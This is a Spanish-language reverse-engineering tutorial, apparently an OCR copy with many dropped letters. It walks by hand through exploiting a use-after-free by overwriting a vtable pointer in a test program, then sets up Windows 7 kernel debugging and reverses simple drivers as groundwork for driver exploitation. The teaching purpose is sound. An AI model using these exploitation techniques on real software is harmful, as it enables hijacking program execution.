es el mecanismo de la vulnerabilidad USE AFTER FREE y como se explotarda.
Vemos que dentro del programa, según se den ciertas condiciones, se borra mediante delete() que es
equivalente a free(), la instancia de pepe o la de jose.
Vemos que despues de dejar de existr alguna de dichas instancias a algún genio se le ocurre pedir los
sueldos de todos los Empleados para sacar el gasto total y para eso usa el método virtual get_Salario
aplicado a cada instancia.
Pongamosle que pepe sea la instancia que se borro, al intentar llamar a get_salario, buscara en su
bloque que ha sido liberado (free) y tratara de usar el puntero a la vtable que se encontraba alld
dentro y intentara saltar al método get_Salario, pero como el bloque esta liberado, es posible que el
programa al contnuar corriendo, alloque alld mismo si se le pide y pise el puntero a la vtable.
Alld abajo vemos las llamadas a get_Salario, cada instancia buscara dentro en su primer lugar su
puntero a la vtable y tratara de saltar a dicho método, pero la explotación consiste en tratar de ver
cual es el size del objeto que se borro y allocar ese mismo size y llenar con nuestra fruta el bloque que
antes ocupaba la instancia pepe, y ahora se llenara de nuestra fruta, de esa forma al saltar a
get_Salario ya que pisamos su puntero a la vtable, redirigiremos la ejecución donde queramos.
Lo veremos ejecutando a mano sin realizar un script.
Estoy usando 0indows 7 que por ahora me asegura que con un solo malloc puedo pisar el bloque
fritado ya veremos como hacer en w30.
Alld estoy parado le pido 436 bytes paso el new con fO.
Alld esta la vtable pero recordemos que en la memoria alocada hay un puntero a aqud.
La segunda instancia jose se ubicara en mi caso en 0x65e000 y abajo se guardara alld su puntero a la
vtable.
Por supuesto este puntero esta en la segunda instancia, pero apunta a la misma vtable que el de la
primera.
Sigamos
Luego hay una parte que dice que ingresemos el curriculum de los empleados y hay un fgets.
Si traceo dentro del delete veo que llega a free a liberar la memoria en 0x65b530.
Luego me dice que ingrese el largo del curriculum
Y ese valor sera el que use para allocar y alld copiara, para explotar el use a er free deberda pasarle el
mismo size de las instancias borradas o sea 436 decimal.
Veo que va a hacer malloc de 436 si me devuelve la misma dirección de memoria que frito voy bien
sino me reventó jeje.
Vemos que me allocó en la misma dirección jeje, ahora solo debo copiar mi fruta alld, la misma se
ingresa con el fgets doy run poniendo un breakpoint en el prin .
Tipeo mi fruta y al dar ENTER.
Vemos que trata de buscar el puntero a la vtable de pepe en 0x65b530 y alld yo llene con mis Aes.
Alld vemos entonces como se desvda la ejecución de código, controlada por la fruta que ingrese.
Este obviamente es un ejemplo sencillo en un programa complejo la cosa es mas difcil de realizar
pero la idea es esta, es importante tener claro el concepto de como se explota.
Hasta la parte 50
Ricardo Narvaja
TRABAJANDO CON EL KERNEL DE WINDOWS.
La idea de este tutorial es armar un poco el escenario para reversear y debuggear kernel, no creo que
sea muy importante hacer una introducción muy extensa con lo que es el kernel, hay miles de
tutoriales para ello, pero como idea principal copio estas defniciones.
Vemos que en modo user están las aplicaciones, las apis de Windows, los drivers que se manejen en
user, mientras que en modo kernel esta el sistema operatvo en si, el hardware, y los drivers que
trabajan en modo kernel.
La memoria virtual es una técnica utilizada por los sistemas operativos para acceder a una
mayor cantidad de memoria de la físicamente disponible, recurriendo a soluciones de
almacenamiento alternativas cuando se agota la memoria RAM instalada.
Los ordenadores utilizan la memoria RAM para almacenar los archivos y datos que necesitan
tanto el sistema operativo como el software que estemos ejecutando; su elevado rendimiento
garantiza un funcionamiento óptimo pero, tarde o temprano, siempre termina por llenarse.
Es en ese momento cuando Windows necesita recurrir a la memoria virtual.
Para crear la memoria virtual Windows crea un archivo en la unidad de almacenamiento que
tengamos asignada, sea un disco duro tradicional o un SSD; el sistema operativo genera un
archivo llamado pagefle.sys (podéis encontrarlo oculto en el directorio raíz de vuestro
sistema) donde va almacenando los datos que no caben en la memoria RAM pero que son
necesarios para el funcionamiento del PC.
Así, cuando trabajamos con aplicaciones muy exigentes (como los videojuegos, sin ir más
lejos) o tenemos varias funcionando al mismo tiempo podéis notar como el sistema se
ralentiza, especialmente si no vais sobrados de RAM. Es el ese momento cuando Windows
está recurriendo al archivo de paginación y la memoria RAM se ha visto desbordada; se evitan
los cuelgues y la inestabilidad, pero a cambio el rendimiento desciende considerablemente.
Llegados a este punto, es fácil concluir que cuanta más RAM tengamos en el equipo
mucho mejor y notaremos más la diferencia cuanto más exigente sea el software que
utilizamos. Aunque su precio ha bajado espectacularmente en los últimos años sigue siendo
elevado, así que en la mayoría de escenarios es necesario recurrir a soluciones de memoria
virtual.
Allí vemos el virtual address space de cada proceso que va desde 0x0 hasta 0xFFFFFFFF y que el
sistema operatvo se vale para manejarlo de la ram y el swap como vimos antes.
Y el virtual address space de 32 bits de cada proceso esta dividido , como vemos en la imagen desde
0x0 hasta 0x7fff la parte de espacio user donde se alojan los programas y de 0x7fff hasta
0xffff el espacio de kernel.
Tendremos que preparar un target donde debuggear kernel en mi caso yo uso VMWARE
WORKSTATION y allí tengo mi target de WINDOWS 7 sp1 de 32 bits, sin ningún update para empezar.
Los que usen targets mas actualizados podrán encontrarse que algunas cosas no les van a uncionar
porque ueron parcheadas, pero como nosotros vamos a empezar desde el inicio es mejor ver lo mas
sencillo e ir avanzando de a poco.
Una vez que armemos el entorno es probable que sigamos con VIDEO TUTES por lo cual es bueno
preparar todo bien para contnuar con ellos.
Mi maquina principal en este caso es un WINSOWS 7 Sp1 de 64 bits, con todos los parches hasta el día
de hoy, aunque podrían utlizar otro sistema, quizás alguna que otra cosa no les uncione
exactamente igual pero se puede.
En mi maquina principal usare IDA 6.8 y antes que griten que ya salio el IDA 7 leakeado, el mismo
tene un bug, que al tratar de conectar para debuggear kernel de 32 bits crashea, como en mi trabajo
me lo compran al ida ofcial, a mi me mandaron un parche que soluciona ese bug pero obviamente no
lo puedo distribuir, por ahí alguien se pone y se fja donde crashea y como se puede evitar eso y logra
un parche valido para IDA 7, pero por ahora usaremos el 6.8 aquí.
Por supuesto también tenen que tener instalado WINDBG en la maquina principal y los símbolos
confgurados, y fjarse que en dicha carpeta de símbolos al usarlo se vayan bajando los mismos, en mi
caso la carpeta se llama symbols.
Y hace que se pueda bajar los símbolos del server de microso , obvio hay que hacer que se pueda
conectar a través de frewalls, proxy o lo que sea para que pueda acceder al repositorio de símbolos.
Lo siguiente es opcional yo tengo en mi maquina principal o sea en este con Windows 7, instalado el
viejo WDK 7.1.0
h ps://www.microso .com/enuus/download/details.aspxiid111800
Pero en la otra maquina que tengo con Windows 10 para tratar de hacer lo mismo con lo ultmo
tengo instalado Visual Studio 2015 con el WDK 10 ya que por ahora el Visual Studio 2017 no permite
usar WDK.
Tengo ambas opciones para hacerlo por ambos metodos compilando un driver de la orma antgua a
mano en un editor de texto (a lo guapo jeje) y a la moderna y ver si puede uncionar y ver las
di erencias.
h p://www.osronline.com/artcle.c miartcle1157
Registrarse y bajarse el OSR DRIVER LOADER que nos ayudara a cargarlo ácil y probar nuestro driver.
h ps://docs.microso .com/enuus/sysinternals/downloads/debugview.
h p://virtualkd.sysprogs.org/download/
En este momento la ultma versión es la 3, si sale una mas nuevo, pues adelante.
Una vez autoextraido
Vemos que hay una carpeta target que es la que se debe copiar en el target, el resto es para la
maquina principal.
Esa tlde yo probé varias veces y si no la quitaba en Windows 7 no me uncionaba, igual pueden hacer
un snapshot hacer la prueba y si no va volver al snapshot y volver a intentar.
Antes de darle a install copien el nombre y peguenlo en un notepad en la maquina principal, ahora le
saco la tlde esa y doy a install.
Ojo que si todo va bien va a quedar la maquina congelada al arrancar, pero eso es lo que debe pasar
sino, esta mal instalado esto, antes de darle YES arranquemos en la maquina principal la otra parte
del virtualkd ejecutando con permisos de administrador el vmmon64.exe, luego que arranque,
volvamos aquí y demosle YES.
Ahí me va a dar la opción de arrancar normal o de arrancar debuggeando que es la que esta resaltada,
si acepto y la maquina arranca normalmente no unciono, pero a veces no es necesario instalar todo
de nuevo, cuando arranca le doy restart nuevamente y elijo lo mismo a ver si queda colgada como
corresponde jeje.
Bueno luego de algunos intentos y de reiniciar varias veces, creo que el truco es reiniciar del mismo
target internamente y no desde el menú de vmware, si unciona debería pasar esto.
El target congelado ahi al inicio
Allí debajo de OS debe decir YES y si esta puesta la tlde en START DEBUGGER AUTOMATICALLY
debería arrancar el WINDBG sino en DEBUGGER PATH deberían buscar el windbg.exe para que quede
confgurado el path correcto al mismo asi lo arranca, sino lo hizo automátcamente y el path esta bien
con RUN DEBUGGER lo hará, se conectara y quedara debuggeando el WINDBG a todo el sistema
target.
Tipeamos G y enter en el windbg y seguirá arrancando el sistema, una vez que me logueo en el target
y ya arranco completamente voy al windbg y apreto break del menú DEBUG o ctrl mas break.
kd> !process u1 0
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 466.
Image: System
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 466.
Image: System
PROCESS 8502b3 8 SessionId: none Cid: 010c Peb: 7fdd000 ParentCid: 0004
DirBase: 3ec2d020 ObjectTable: 88c1 178 HandleCount: 29.
Image: smss.exe
PROCESS 85771d40 SessionId: 0 Cid: 016c Peb: 7fd 000 ParentCid: 0164
DirBase: 3ec2d060 ObjectTable: 96a4b590 HandleCount: 504.
Image: csrss.exe
PROCESS 856cd530 SessionId: 0 Cid: 0194 Peb: 7fd 000 ParentCid: 0164
DirBase: 3ec2d0a0 ObjectTable: 96a4d5e0 HandleCount: 75.
Image: wininit.exe
PROCESS 856 6530 SessionId: 1 Cid: 019c Peb: 7fdd000 ParentCid: 018c
DirBase: 3ec2d040 ObjectTable: 96a52b10 HandleCount: 179.
Image: csrss.exe
PROCESS 859ad030 SessionId: 0 Cid: 0208 Peb: 7fd 000 ParentCid: 0194
DirBase: 3ec2d080 ObjectTable: 96a52ac8 HandleCount: 216.
Image: services.exe
PROCESS 85a55030 SessionId: 0 Cid: 02b0 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d140 ObjectTable: 81 a 9d8 HandleCount: 53.
Image: vmacthlp.exe
PROCESS 85abc030 SessionId: 0 Cid: 0378 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d1c0 ObjectTable: 8a6a1e98 HandleCount: 397.
Image: svchost.exe
PROCESS 85ac2030 SessionId: 0 Cid: 0394 Peb: 7fd9000 ParentCid: 0208
DirBase: 3ec2d1e0 ObjectTable: 8a6ab3b0 HandleCount: 1027.
Image: svchost.exe
PROCESS 8571e030 SessionId: 0 Cid: 0514 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d260 ObjectTable: 91405ec8 HandleCount: 334.
Image: svchost.exe
PROCESS 85c12bb8 SessionId: 0 Cid: 05dc Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d2a0 ObjectTable: 81e 5558 HandleCount: 291.
Image: vmtoolsd.exe
PROCESS 85c4d610 SessionId: 0 Cid: 06d0 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d2c0 ObjectTable: 9168ae58 HandleCount: 101.
Image: svchost.exe
PROCESS 85761d40 SessionId: 0 Cid: 076c Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d2e0 ObjectTable: 8a6a59 8 HandleCount: 192.
Image: dllhost.exe
PROCESS 85d3 a30 SessionId: 0 Cid: 0190 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d320 ObjectTable: 9175c2c8 HandleCount: 152.
Image: msdtc.exe
PROCESS 85a 2b08 SessionId: 1 Cid: 0974 Peb: 7fdc000 ParentCid: 0378
DirBase: 3ec2d180 ObjectTable: 9175b340 HandleCount: 68.
Image: dwm.exe
PROCESS 84061298 SessionId: 0 Cid: 0a88 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d4a0 ObjectTable: 91 99d78 HandleCount: 630.
Image: SearchIndexer.exe
PROCESS 840d3d40 SessionId: 0 Cid: 0e00 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d3a0 ObjectTable: 94822518 HandleCount: 117.
Image: WmiApSrv.exe
Esa es la lista de procesos si quisiera switchear al contexto de otro proceso para poner breakpoints allí
haría.(por ejemplo switchear al explorer que tene en mi caso 85e626 0 justo al lado de la palabra
PROCESS)
kd> !process u1 0
PROCESS 85e626 0 SessionId: 1 Cid: 0980 Peb: 7fdb000 ParentCid: 096c
DirBase: 3ec2d460 ObjectTable: 81e 1540 HandleCount: 600.
Image: explorer.exe
Si no tenen ganas de perder tempo pueden saltear el relodeo de símbolos en este momento, ya que
solo es para practcar y tarda bastante, si quieren seguir adelante sigan en la pagina siguiente, donde
termina la zona punteada.
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
Relodeo los símbolos con .reload /
Va a tardar un rato largo, algunos los podrá bajar porque están en el repositorio otros no tendrán
símbolos, pero la carpeta de símbolos se debería ir llenando.
Allí vemos al windbg BUSY y bajando símbolos (downloading) la primera vez que lo hagamos tardara
mucho porque no tene ningún símbolo, las subsiguientes no se hagan problema, tardara mas jejeje.
Run !sym noisy be ore .reload to track down problems loading symbols.
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
Muchos dirán si es un curso de IDA porque no nos atacheamos directamente al inicio con IDA con el
plugin windbg, lo cual es per ectamente posible.
El tema es que a windbg lo uso para llegar hasta el punto mismo de donde quiero debuggear y recién
ahí me atacheo con IDA porque a veces IDA alla y se cuelga todo, por lo tanto es mejor usarlo cerca
del punto de interés a debuggear y dejarlo al WINDBG en la parte no importante que es mas robusto
en este tpo de debugging remoto de kernel, de cualquier orma en cualquier momento yo podría
breakear, cerrar el windbg y el sistema target quedarla congelado y luego atachear el IDA con el
plugin windbg y contnuar debuggeando con el sin problemas por eso, lo hare mas adelante.
kd> lm
start end module name
00550000 007d0000 Explorer (pdb symbols)
c:\symbols\explorer.pdb\A289F16DBCB94B618103DE843592AB182\explorer.pdb
6bd50000 6bda2000 zip dr (pdb symbols)
c:\symbols\zip dr.pdb\0CFC61030167490C9ABF25C441E651D11\zip dr.pdb
6bdb0000 6bddb000 provsvc (pdb symbols)
c:\symbols\provsvc.pdb\222401C8EF0749BA9E532D6AA6666F601\provsvc.pdb
6bde0000 6be2 000 hgcpl (pdb symbols)
c:\symbols\hgcpl.pdb\4EA31C513A1C47F78EAAC3A5CD54D59A1\hgcpl.pdb
6be90000 6b 73000 FXSRESM (no symbols)
6b 80000 6b e4000 imapi2 (pdb symbols)
c:\symbols\imapi2.pdb\4F52351C2B514C3699D1B47D48BCFA322\imapi2.pdb
6bf0000 6c02a000 FXSAPI (pdb symbols)
c:\symbols\FXSAPI.pdb\C5C8AC671FA34D9EB1CDD55364F6E39E2\FXSAPI.pdb
6c030000 6c102000 xsst (pdb symbols)
c:\symbols\FXSST.pdb\DDFADEC7308347E9AD60E0617335C84D2\FXSST.pdb
6c110000 6c31e000 SyncCenter (pdb symbols)
c:\symbols\SyncCenter.pdb\23C05D457D6F4BA8AAB78F8293F398C92\SyncCenter.pdb
6c320000 6cd9c000 ie rame (pdb symbols)
c:\symbols\ie rame.pdb\BAAAEB87C2F8485C80589CCF7E3A82BE2\ie rame.pdb
6cda0000 6ce50000 bthprops (pdb symbols)
c:\symbols\bthprops.pdb\97B2FBEB35D64296B802DD2387D5E1CF1\bthprops.pdb
6ce50000 6ce98000 wwanapi (pdb symbols)
c:\symbols\wwanapi.pdb\9862E0172237487BBFEF6C1B3EBEE58A1\wwanapi.pdb
6c 70000 6d02a000 Actoncenter (pdb symbols)
c:\symbols\ActonCenter.pdb\98A49FC8D39C471996BEB3EF01EAA4831\ActonCenter.pdb
6d340000 6d4ee000 pnidui (pdb symbols)
c:\symbols\pnidui.pdb\50126007BD354C589514BA7F546EA17A2\pnidui.pdb
6d4 0000 6d755000 netshell (pdb symbols)
c:\symbols\netshell.pdb\083CF46E903F426AA06FF633605370E32\netshell.pdb
6d8c0000 6d8ee000 QAgent (pdb symbols)
c:\symbols\qagent.pdb\ABAFFF300B6A48789369D4A90AD2DC222\qagent.pdb
6da60000 6da76000 Wlanapi (pdb symbols)
c:\symbols\wlanapi.pdb\48EE3C9420F24448833370695E2AF4772\wlanapi.pdb
6d 90000 6d 9a000 wwapi (pdb symbols)
c:\symbols\wwapi.pdb\84C82A03729E48E0A883E55B56B7A0161\wwapi.pdb
6e1e0000 6e1eb000 CSCAPI (pdb symbols)
c:\symbols\cscapi.pdb\3D7C1EEDC26B43C6B4CFD2BBF8EE08CB2\cscapi.pdb
Ven que los que tenen símbolos los guardo en mi carpeta symbols, eso signifca que todo esta bien
confgurado sino a llorar a bill gates jeje.
Hare un driver simple de prueba tpo HOLA MUNDO en la maquina principal, el que no lo quiere
compilar estará compilado junto con el tute.
En una carpeta que no tenga espacios ni en el nombre ni en el path hago un archivo de texto y le
coloco dentro el código.
#include <ntddk.h>
void DriverUnload(
PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Driver unloading\n");
}
NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload;
DbgPrint("Hello, World\n");
return STATUS_SUCCESS;
}
Lo renombro como HelloWorldDriver.c luego hago uno que se llame solo SOURCES con esto dentro
TARGETNAME = HelloWorldDriver
TARGETPATH = obj
TARGETTYPE = DRIVER
INCLUDES = %BUILD%\inc
LIBS = %BUILD%\lib
SOURCES = HelloWorldDriver.c
!INCLUDE $(NTMAKEENV)\makefle.def
Para compilarlo si instale el wdk 7.1 voy a la barra de programas instalados del inicio de windows en la
maquina principal.
Y arranco el x86 FREE BUILD ENVIRONMENT de Windows 7.
Allí se compilo
Para ver si unciona copio el sys a la maquina target (si esta detenido en el windbg apreto g y enter
para que siga corriendo) y en la misma arranco el OSRLOADER con permiso de administrador, la
versión de XP va bien en Windows 7.
Se ve cuando muestra la salida del driver que obviamente no puede hacerlo por consola.
En el WINDBG tambien se ve
Si apreto START SERVICE y lo dejo encendido y breakeo en el windbg.
kd> !process u1 0
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 475.
Image: System
Apreto g y enter
Ya switcheo
kd> g
Break instructon excepton u code 80000003 (frst chance)
nt!RtlpBreakWithStatusInstructon:
82676394 cc int 3
kd> !process u1 0
PROCESS 840dd830 SessionId: 1 Cid: 0b28 Peb: 7fd5000 ParentCid: 0980
DirBase: 3ec2d4c0 ObjectTable: 95585948 HandleCount: 253.
Image: OSRLOADER.exe
Como tenemos el pdb podemos orzarlo a que cargue los símbolos jeje
Vemos que en la carpeta simbols hay una carpeta con el nombre y punto pdb
El problema es que dentro de las otras carpetas hay una subcarpeta con un numero largo di erente en
cada caso, como obtenemos esoi jeje.
Una vez que ya creamos la carpeta HelloWorldDriver.pdb vamos al windbg y tpeamos.
!sym noisy
.reload / HelloWorldDriver.sys
Ahí nos dice el nombre de la carpeta que no encuentra, la creamos copiamos el pdb allí y luego
.reload / HelloWorldDriver.sys
Luego con lm ya quedara en mi caso la hallo en la misma carpeta TEST que lo compile
La cueston es que los tene ahora podemos ver que simbolos tene con el comando x.
kd> x HelloWorldDriver!*
9110c004 HelloWorldDriver!__security_cookie_complement 1 0x6eefa5e
9110b000 HelloWorldDriver!KeTickCount 1 struct _KSYSTEM_TIME
9110c000 HelloWorldDriver!__security_cookie 1 0x911005a1
9110d03e HelloWorldDriver!GsDriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING
*)
9110a006 HelloWorldDriver!DriverUnload (struct _DRIVER_OBJECT *)
9110d005 HelloWorldDriver!__security_init_cookie (void)
9110a01a HelloWorldDriver!DriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
9110a058 HelloWorldDriver! ii ::FNODOBFM::`string' (<no parameter in o>)
9110a046 HelloWorldDriver! ii ::FNODOBFM::`string' (<no parameter in o>)
9110d050 HelloWorldDriver!_IMPORT_DESCRIPTOR_ntoskrnl 1 <no type in ormaton>
9110a040 HelloWorldDriver!DbgPrint (<no parameter in o>)
9110b004 HelloWorldDriver!_imp__DbgPrint 1 <no type in ormaton>
9110b008 HelloWorldDriver!ntoskrnl_NULL_THUNK_DATA 1 <no type in ormaton>
9110d064 HelloWorldDriver!_NULL_IMPORT_DESCRIPTOR 1 <no type in ormaton>
Allí están las direcciones y los símbolos si quisiéramos poner un breakpoint en el windbg conviene
estando en el contexto del proceso tpear.
bp /p @$proc HelloWorldDriver!DbgPrint
Veamos si unciona
kd> bp /p @$proc HelloWorldDriver!DbgPrint
Ahora corramos con g y enter y detengamos el driver como no para, pensamos que no es llamado por
el mismo proceso asi que vuelvo a switchear al contexto del mismo proceso y luego.
kd> ba e1 HelloWorldDriver!DbgPrint
kd> g
Breakpoint 2 hit
HelloWorldDriver!DbgPrint:
9111c040 f2504d01191 jmp dword ptr [HelloWorldDriver!_imp__DbgPrint (9111d004)v
kd> !process u1 0
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 476.
Image: System
Ahí paro y veo que es el sistema que llama a imprimir, en ese caso cuando no se bien cual es el
proceso que llama se puede poner ba e1 o bp si es que no para muchas veces como en este caso.
Bueno ahora seguiremos con el IDA, para ello abrimos en el IDA 6.8 el HelloWorldDriver.sys y si esta el
pdb en la misma carpeta lo cargara sino cuando lo pide lo buscamos y que lo cargue.
com:port1\\.\pipe\kd_[0690v_Windows_Seven_Ultmate_u_i386_u_1,pipe
Listo aceptamos.
Una vez que cargue estaremos debuggeando, por ahí abajo estará la barra de windbg donde
podríamos tpear comandos de Windbg.
Vemos que la imagen en el target vuelve a uncionar y se descongela, podemos arrancar y parar el
driver como antes, para que se detenga en el breakpoint.
Lo busco lo registro y lo arranco y paro, en el debugview vemos los mensajes, aunque obviamente no
parara en IDA porque es otro driver, pero puedo ir a IDA suspender el proceso y ir a DEBUGGER
DETACH FROM PROCESS y podriamos volver a atachear el Windbg desde el RUN DEBUGGER del
vmmon o si no abrir el nuevo sys en ida con su pdb.
Y para en el breakpoint como ante, con esta otra versión del driver.
Esto ue un inicio para poder ver y confgurar el sistema para debuggear kernel, posiblemente los
próximos tutes sean videotutes sobre el tema, veremos, si hace alta alguno mas teórico antes.
En el caso del sencillo driver de la parte 50, es un simple hola mundo muy fácil de reversear, ya vimos
que cuando lo compilamos con el viejo WDK 7.1 es un par de simples rutnas, y en el nuevo WDK 10
tene un par de funciones antes de inicializacinn pero llega a lo mismo, no hay una funcionalidad
diferente.
Aquí estamos en el que seria el punto de entrada al driver DriverEntry en el viejo driver hecho en
WDK 7.1.
Vemos por los asteriscos que los dos argumentos son dos punteros o sea de largo 4 bytes, uno a una
estructura _DRIVER_OBJECT y el otro a una estructura _UNICODE_STRING, veamos las mismas, ya que
IDA las detecta debe tener guardado como esta compuesta cada una.
EN MSDN.
En la pestaña estructuras no están, pero no olvidemos que en LOCAL TYPES a veces hay mas
estructuras, nos fjaremos también allí.
Bueno ahí esta, la importaremos haciendo clic derecho -SYNCRONIZE TO IDB.
Como carga la direccinn de la estructura en EAX, sabemos que en EAX+34h es algún campo de la
estructura, apretemos T a ver cual es.
Asi que ese campo esta destnado para guardar la direccinn de la funcinn que el sistema llamara
cuando se descargue el driver.
En nuestro caso IDA nos muestra o set ya que es la direccinn de la funcinn _DriverUnload clickeando
en DEMANGLE NAMES - NAMES se ve mas lindo.
Asi que cuando arranca el driver viene por aquí, y imprime “Hello World” cada vez que arranca,
mediante la funcinn _DbgPrint y guarda la direccinn de la funcinn que ejecutara al descargarse el
driver.
Recordemos que la funcinn que creamos DriverUnload en nuestro cndigo se debe ajustar al tpo
defnido antes o sea su argumento debe ser un puntero a _DRIVER_OBJECT y asi es nuestro
argumento es del tpo PDRIVER_OBJECT como dicen las definiciones de la función
en el código fuente.
#include <ntddk.h>
void DriverUnload(
PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Driver unloading\n");
}
Asi que todo coincide, esta sera la rutna cuando el driver se descargue y como vemos imprimirá el
mensaje “Driver unloading” usando la funcinn _DbgPrint.
Si esta siendo debuggeado se vera en el LOG del debugger como vimos en el Windbg y en el IDA el
mensaje de “Hola Mundo” y “Driver unloading” al cargar y descargar.
Esta versinn no tene mucho mas, veremos la otra que compilamos con WDK 10, asi la reverseamos
un poco, evitaremos parte de la inicializacinn y nos concentraremos en como maneja la estructura y el
puntero a DriverUnload.
Vemos que la funcinn _DriverEntry@8 tene los mismos argumentos que son los dos punteros a las
estructuras que vimos en la otra versinn.
Vemos que EDI toma la direccinn de la estructura DriverObject y la mantene en toda la funcinn hasta
la salida de la misma cuando hace POP EDI antes del RET.
Puedo hacer click derecho - RENAME en EDI y en el rango donde se mantene el mismo valor
renombrarlo a p_DriverObject.
Allí vemos que se mantene la etqueta hasta el fnal donde el POP EDI machaca el valor.
Bueno es una estructura que tene un USHORT (word) con el largo de la string ,otro con el máximo
largo del bu er y un puntero a un bu er con la string unicode allí o sea que siempre su largo sera 0x8,
dos words mas un dword del puntero.
Length
Specife the length in byte of the tring pointed to by the Bufer member not including the
terminating NULL character
MaximumLength
Specife the total ize in byte of memory allocated for Bufer. Up to MaximumLength byte may
be written into the bu er without trampling memory.
Bufer
Pointer to a wide-character tring. Note that the tring returned by the variou LSA function might
not be null-terminated.
Vemos que esta funcinn tene como argumento un puntero a la estructura source UNICODE_STRING y
como destnaton un puntero a otro UNICODE_STRING que también tendrá un puntero a un bu er
destnaton.
Allí vemos los dos argumentos, el source que es RegistryPath que es un puntero a una estructura
UNICODE_STRING y ESI tene el destnaton del mismo tpo.
Vemos que ESI apunta a la seccinn data, allí esta esa variable del mismo tpo.
Como vimos que el largo era 0x8, en la seccinn data la siguiente direccinn que se muestra sera 0x8
mas adelante o sea
Python>hex(0x40367c+0x8)
0x403684
Allí vemos como antes de llamar a copiar inicializa la estructura de destno, le pone un cero al valor
lenght ya que esta vacía por ahora, le pone 0x208 como máximo y lo guarda en MaximumLenght y
guarda el puntero al bu er allí en o set WdfDriverStubRegistryPath.
Allí mostraba que era un array de 260 del tpo wchar_t (2 bytes) o sea 260 x 2 es igual a 520.
Asi que esta todo bien el puntero apunta a un bu er de 0x208 y el máximo es 0x208 todo perfecto.
No olvidemos esto
Luego hay un par de funciones de inicializacinn no documentadas al menos no las encontré y no tene
tanta importancia es pura inicializacinn y luego llega al DriverEntry que es equivalente al del driver
anterior.
Dentro si hacemos lo mismo dela vez anterior y vamos a LOCAL TYPES y sincronizamos la estructura
DRIVER_OBJECT.
Vemos que es similar al anterior guardara la direccinn de la funcinn que escribimos DriverUnload en la
misma posicinn de la estructura, para llamarla al descargarse.
Vemos que como el campo DriverUnload es distnto de cero, saltara a la parte rosada donde guardara
nuestro puntero en esa variable de la seccinn data llamada WdfDriverStubDisplacedDriverUnload.
Y ademas pisa el DriverUnload con una funcinn que no es mía llamada FxStubDriverUnload y que si la
vemos.
Al descargar el driver vendrá entonces a FxStubDriverUnload , pero luego cargara nuestra funcinn
DriverUnload de la variable WdfDriverStubDisplacedDriverUnload ya que allí la había guardado y salta
en el CALL EAX de la misma forma que en el ejemplo anterior solo que dando un poco mas de vueltas.
En la prnxima parte trataremos de compilar un driver que se llame a un IOCTL desde una aplicacinn
de user, sabiendo que esta es una de las formas en las que se explotan generalmente los drivers (no
es la única)
Hasta la prnxima
Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 52 KERNEL
Seguiremos con esta tercera parte de kernel y antes de ir directo a la explotación reversearemos y
entenderemos ciertas estructuras y funcionamientos que despues nos serán mas familiares cuando
las veamos en drivers mas complejos.
En este caso crearemos un driver que no solo se cargara y descargara como antes sino que se podrá
desde un programa en modo user, enviarle ciertos argumentos para interactuar con el.
Para recibir información desde modo user, debemos enseñarle a nuestro driver a responder a los
códigos de control de entrada y salida del dispositvo (IOCTL) que se le pueden suministrar desde el
modo de usuario utliiando la API de DeviceIoControl. Ya hemos visto cómo nuestro driver puede
cambiar la rutna de descarga, usando la estructura DRIVER_OBJECT y modifcando el puntero que allí
se guarda. Manejar IOCTLs es muy similar, solo tenemos que proporcionar un par de rutnas mas.
Lo primero que debemos hacer en nuestro punto de entrada sera crear un DEVICE OBJECT.
No voy a explicar toda la teoría sobre esto el que quiere profundiiar léase:
Y esto debe ser asi, en nuestro primer driver solo lo podíamos arrancar y parar y no podía recibir
comandos de control desde user, por eso ahora debemos crear el DEVICE OBJECT usando la api
IoCreateDevice.
Parameters
DriverObject [in]
Pointer to the driver object for the caller. Each driver receives a pointer to its driver object in a
parameter to its DriverEntry routne.
NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath)
{
Como hablamos visto DriverEntry recibía dos argumentos, el primero es un puntero a la estructura
DRIVER OBJECT ese se pasa como primer argumento de IoCreateDevice.
DeviceName [in, optonal]
Optonally points to a bu er containing a null terminated Unicode string that names the device
object.
DeviceType [in]
Specifes one of the system defned FILE_DEVICE_XXX constants that indicate the type of device (such
as FILE_DEVICE_DISK or FILE_DEVICE_KEYBOARD) or a vendor defned value for a ne type of device.
DeviceObject [out]
Pointer to a variable that receives a pointer to the ne ly created DEVICE_OBJECT structure.
The DEVICE_OBJECT structure is allocated from nonpaged pool.
Es un puntero a un d ord donde la api guardara un puntero allí, por eso dice OUT es para salida de la
misma api.
Esos son los mas importantes, veamos ahora un poco el código en IDA,
ahora que conocemos esta api.
Allí empieia tene los dos mismos punteros a estructuras del tpo _DRIVER_OBJECT y
_UNICODE_STRING.
